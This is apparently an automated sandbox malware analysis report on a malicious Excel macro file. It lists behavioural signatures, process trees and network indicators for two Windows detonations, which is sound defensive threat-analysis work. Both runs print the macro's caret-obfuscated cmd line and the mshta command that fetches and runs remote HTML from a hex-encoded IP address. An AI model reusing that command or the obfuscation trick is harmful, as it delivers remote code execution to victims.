Malware Analysis Report

2025-03-15 07:24

Sample ID 241111-1gkygaxcmm
Target da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e
SHA256 da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e
Tags
discovery macro xlm
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e

Threat Level: Known bad

The file da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e was found to be: Known bad.

Malicious Activity Summary

discovery macro xlm

Process spawned unexpected child process

Suspicious Office macro

Blocklisted process makes network request

System Location Discovery: System Language Discovery

Enumerates system info in registry

Modifies Internet Explorer settings

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 21:37

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 21:37

Reported

2024-11-11 21:39

Platform

win7-20240903-en

Max time kernel

120s

Max time network

124s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/fe6.html

C:\Windows\SysWOW64\mshta.exe

mshta http://0xb907d607/fer/fe6.html

Network

Country Destination Domain Proto
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/1728-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1728-1-0x00000000723AD000-0x00000000723B8000-memory.dmp

memory/1728-2-0x00000000723AD000-0x00000000723B8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 21:37

Reported

2024-11-11 21:39

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

143s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2420 wrote to memory of 2568 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 2420 wrote to memory of 2568 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 2568 wrote to memory of 4948 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 2568 wrote to memory of 4948 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/fe6.html

C:\Windows\system32\mshta.exe

mshta http://0xb907d607/fer/fe6.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 roaming.officeapps.live.com udp
NL 52.109.89.19:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 97.32.109.52.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 102.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 19.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 28.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 27.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp

Files

memory/2420-0-0x00007FFC5CC30000-0x00007FFC5CC40000-memory.dmp

memory/2420-1-0x00007FFC9CC4D000-0x00007FFC9CC4E000-memory.dmp

memory/2420-2-0x00007FFC5CC30000-0x00007FFC5CC40000-memory.dmp

memory/2420-3-0x00007FFC5CC30000-0x00007FFC5CC40000-memory.dmp

memory/2420-4-0x00007FFC5CC30000-0x00007FFC5CC40000-memory.dmp

memory/2420-5-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

memory/2420-6-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

memory/2420-7-0x00007FFC5CC30000-0x00007FFC5CC40000-memory.dmp

memory/2420-8-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

memory/2420-10-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

memory/2420-9-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

memory/2420-13-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

memory/2420-12-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

memory/2420-14-0x00007FFC5A2D0000-0x00007FFC5A2E0000-memory.dmp

memory/2420-11-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

memory/2420-15-0x00007FFC5A2D0000-0x00007FFC5A2E0000-memory.dmp

memory/2420-16-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

memory/2420-17-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

memory/2420-28-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

memory/2420-29-0x00007FFC9CC4D000-0x00007FFC9CC4E000-memory.dmp

memory/2420-30-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 73420927d3b6358445db12d75ab95d1a
SHA1 7a16c2618772d83a7528edded2c38b7db87640e3
SHA256 867e4a17d03d7e7005e65225de1681c28354318086c1f86068c697729104dd38
SHA512 3a146b3d014b189feea1d81ff3b4619ab40d4cf0bda93a50d9c982f02b0eb3945fff646cd955eff530f4a36a52fb71d3bd078ca6525b44e1011c063c362935ed